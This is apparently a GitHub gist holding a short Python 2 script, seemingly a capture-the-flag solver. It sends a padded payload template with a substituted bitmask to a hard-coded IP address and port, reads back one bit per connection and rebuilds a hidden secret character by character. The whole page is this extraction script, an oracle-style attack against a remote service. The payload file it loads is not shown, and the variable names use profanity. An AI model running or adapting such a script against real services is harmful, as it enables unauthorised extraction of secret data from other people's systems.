Skip to content

Instantly share code, notes, and snippets.

@CreateRemoteThread
Created May 7, 2018 23:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save CreateRemoteThread/6ff44e6dc52be14bb270fd19b5f1d22b to your computer and use it in GitHub Desktop.
Save CreateRemoteThread/6ff44e6dc52be14bb270fd19b5f1d22b to your computer and use it in GitHub Desktop.
#!/usr/bin/python
import socket
import time
f = open("examples/fuck.dog")
data = f.read()
f.close()
data += " " * (2048 - len(data))
def makeData(i):
d = data.replace("%d",str(i))
return d + (" " * (2048 - len(d)))
HOST = "149.28.38.154"
PORT = 6808
s = None
x = ""
for l in range(1,36):
thisChar = ""
for i in range(0,8):
fuck = False
while fuck == False:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(makeData( (1 << (i + l * 8 ) ) ))
thisChar += s.recv(1)
print thisChar
s.close()
fuck = True
except:
print "SLEEPING"
time.sleep(5)
fuck = False
x += chr(int(thisChar[::-1],2))
print x[::-1]
time.sleep(5)
print x[::-1]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment